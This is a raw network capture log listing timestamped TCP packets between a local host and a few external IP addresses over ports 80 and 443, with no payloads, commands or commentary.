Nov 21, 2024 22:04:53.807394981 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.807447910 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.807492971 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.807571888 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.808489084 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.808664083 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.809045076 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.809448004 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.809501886 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.809525967 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.809557915 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.810318947 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.810372114 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.810432911 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.810472012 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.811350107 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.811362028 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.811403990 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.811419964 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.812212944 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.812252998 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.812891006 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.812951088 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.813317060 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.813328981 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.813365936 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.814193964 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.814240932 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.814243078 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.814277887 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.815260887 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.815319061 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.815370083 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.815406084 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.816174030 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.816243887 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.816952944 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.817008018 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.817080021 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.817094088 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.817128897 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.818244934 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.818306923 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.818440914 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.818509102 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.819106102 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.819119930 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.819164991 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.820005894 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.820050955 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.820173979 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.820235014 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.823613882 CET	49873	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:53.832578897 CET	49883	443	192.168.2.7	152.195.19.97
Nov 21, 2024 22:04:53.832607031 CET	443	49883	152.195.19.97	192.168.2.7
Nov 21, 2024 22:04:53.832700968 CET	49883	443	192.168.2.7	152.195.19.97
Nov 21, 2024 22:04:53.833291054 CET	49883	443	192.168.2.7	152.195.19.97
Nov 21, 2024 22:04:53.833304882 CET	443	49883	152.195.19.97	192.168.2.7
Nov 21, 2024 22:04:53.933970928 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.934036016 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.934274912 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.934319973 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.934386015 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.934614897 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.934683084 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.934742928 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.934786081 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.935579062 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.935662985 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.935672045 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.935707092 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.936547041 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.936561108 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.936593056 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.936611891 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.937515974 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.937563896 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.937602997 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.937658072 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.938500881 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.938513994 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.938551903 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.939476013 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.939487934 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.939532042 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.940428972 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.940474987 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.940781116 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.941139936 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.941425085 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.941483021 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.941638947 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.941684008 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.942373991 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.942387104 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.942421913 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.943296909 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.943346977 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.943614960 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.943679094 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.944329977 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.944341898 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.944392920 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.945209026 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.945261955 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.945660114 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.945772886 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.946175098 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.946224928 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.946454048 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.946501970 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.947181940 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.947221994 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.948085070 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.948096037 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.948168993 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.948241949 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.948318005 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.949234962 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.949295044 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.949342012 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.950249910 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.950261116 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.950320959 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.951060057 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.951103926 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.951323986 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.951387882 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.952019930 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.952032089 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.952080011 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.952095032 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.953121901 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.953134060 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.953177929 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.953195095 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.953921080 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.953960896 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.954211950 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.954258919 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.954977036 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.955019951 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.955096006 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.955138922 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.955810070 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.955873013 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.955876112 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.955913067 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.956846952 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.956899881 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.957467079 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.957509041 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.957716942 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.957817078 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.958122969 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.958157063 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.958714008 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.958751917 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.958774090 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.958806992 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.959753990 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.959945917 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.959959984 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.960001945 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.960700989 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.960711956 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.960745096 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.960767031 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.961604118 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.961677074 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.961772919 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.961818933 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.962582111 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.962626934 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.962630033 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.962666035 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.963509083 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.963568926 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.964394093 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.964530945 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.964541912 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.964581966 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.964617014 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.965451002 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.965509892 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.965876102 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.965919971 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.966433048 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.966444969 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.966485023 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.966505051 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.967363119 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.967412949 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.967704058 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.967756033 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.968384027 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.968453884 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.968492985 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.968519926 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.969424963 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.969449043 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.969517946 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.969517946 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.970360994 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.970375061 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.970412016 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.970434904 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.971280098 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.971292973 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.971328020 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.972209930 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.972219944 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.972264051 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.973190069 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.973301888 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.973336935 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.973407984 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.974132061 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.974143028 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.974174023 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.974201918 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.975167990 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.975192070 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.975219011 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.975239992 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.976098061 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.976154089 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.976202965 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.977089882 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.977101088 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.977133989 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.977150917 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.978069067 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.978125095 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.978135109 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.978172064 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.978974104 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.979048967 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.979887009 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.979899883 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.979932070 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.979935884 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.979949951 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.979974985 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.980897903 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.980916977 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.980956078 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.980969906 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.981867075 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.981914043 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.981985092 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.982074976 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.982835054 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.982848883 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.982883930 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.983810902 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.983865023 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.983905077 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.983962059 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.080945015 CET	443	49876	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:54.081197023 CET	49876	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:54.081212997 CET	443	49876	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:54.081538916 CET	443	49876	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:54.081842899 CET	49876	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:54.081897020 CET	443	49876	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:54.082921028 CET	443	49875	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:54.083142042 CET	49875	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:54.083164930 CET	443	49875	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:54.083513975 CET	443	49875	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:54.083919048 CET	49875	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:54.083983898 CET	443	49875	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:54.125982046 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.126063108 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.126076937 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.126131058 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.126605034 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.126761913 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.126786947 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.127253056 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.127413034 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.127774000 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.127839088 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.127999067 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.128041029 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.128297091 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.128765106 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.128818989 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.129009008 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.129049063 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.129729033 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.129806995 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.129856110 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.130935907 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.130950928 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.131009102 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.131638050 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.131685972 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.131700039 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.131728888 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.132632971 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.132688046 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.132982969 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.133074999 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.133728027 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.133739948 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.133790970 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.134516954 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.134692907 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.134705067 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.134848118 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.135520935 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.135725021 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.135822058 CET	49876	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:54.135986090 CET	49875	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:54.136471033 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.136482954 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.136632919 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.136866093 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.136915922 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.137507915 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.137630939 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.137844086 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.137965918 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.138425112 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.138437986 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.138505936 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.139733076 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.139800072 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.139803886 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.139945030 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.140516996 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.140532017 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.140678883 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.141285896 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.141346931 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.141351938 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.141391993 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:54.142242908 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.142647982 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:54.143193007 CET	80	49819	185.215.113.206	192.168.2.7
